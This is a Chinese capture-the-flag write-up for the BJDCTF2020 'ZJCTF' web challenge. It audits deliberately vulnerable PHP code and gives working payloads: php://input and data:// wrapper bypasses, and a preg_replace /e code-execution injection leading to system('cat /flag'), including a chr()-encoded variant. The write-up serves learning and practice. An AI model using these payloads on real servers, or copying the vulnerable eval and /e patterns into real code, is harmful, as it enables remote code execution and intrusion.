[BJDCTF2020]ZJCTF,不过如此
目录
题目:
解题过程
首先,进行代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
代码中提示了next.php,并且过滤了flag,所以需要先从next.php中找找线索。
首先需要绕过对$text的过滤
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream"))
1. 第一次绕过,有下面两种方法:
1.php://input
2.data://text/plain,..(注意抓包的时候,$text参数里的空格是%20)
2.进行base64解码,得到next.php的源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
进行一个简单的分析,我们的目的是传入$cmd参数,然后eval执行从而来拿到flag。
3.preg_replace()的/e模式存在命令执行漏洞
可参考文章:深入研究preg_replace与代码执行
上面的命令执行,相当于 eval('strtolower("\\1");') 结果,当中的 \\1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。
这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。
为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)
payload:
?\S*=${getFlag()}&cmd=system('cat /flag');
4.另一种思路
这个是看L1ch师傅的博客看到的一种解法,没有用到getFlag()函数,而是直接命令执行,原文传送门:[BJDCTF2020] ZJCTF,不过如此
因为发现引号会被转义,所以用chr拼接system的参数
payload:
?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
自己还是太菜了,web之路漫漫,继续努力✊✊✊
2022-1-19更新
有个师傅问了我这个题目,我回来再看,发现之前分析的不是很到位,所以补充一下
关键的部分
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_match使用了/e
模式,可以导致代码执行。当preg_match函数在匹配到符号正则的字符串时,会将替换字符串(上面的第二个参数)当作代码来执行。
实验如下:
但是本题中,第二个参数已经定为了'strtolower("\\1");'
,这里要注意\\1
实际上就是\1
,而\1
有特殊的含义,\1实际上指的就是第一个子匹配项
所以\\1
其实就是我们传进去的{${phpinfo()}},即'strtolower("\\1")'
其实就是'strtolower("{${phpinfo()}}")'
但是我们为什么要传入{${phpinfo()}}
呢?
${phpinfo()}中的phpinfo()会被当作变量先执行,执行后变成${1}(1是因为phpinfo()成功执行后返回true),而strtolower("{${1}}")
又相当于 strtolower("{null}")
又相当于 '' 空字符串
所以关键不在于preg_match执行之后能不能返回值,而是在于preg_match的第二个参数是先被当作变量执行了
,达到命令执行的效果
坑1:/e模式的php版本问题
报错:Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in...
查的资料表示/e模式在php5.5.x版本已经弃用了,但是根据我实验,在5.6.9版本下,虽然会报错,但是还能够使用这个特性
然后7.0之后的版本就不能用了,如下
参考文章: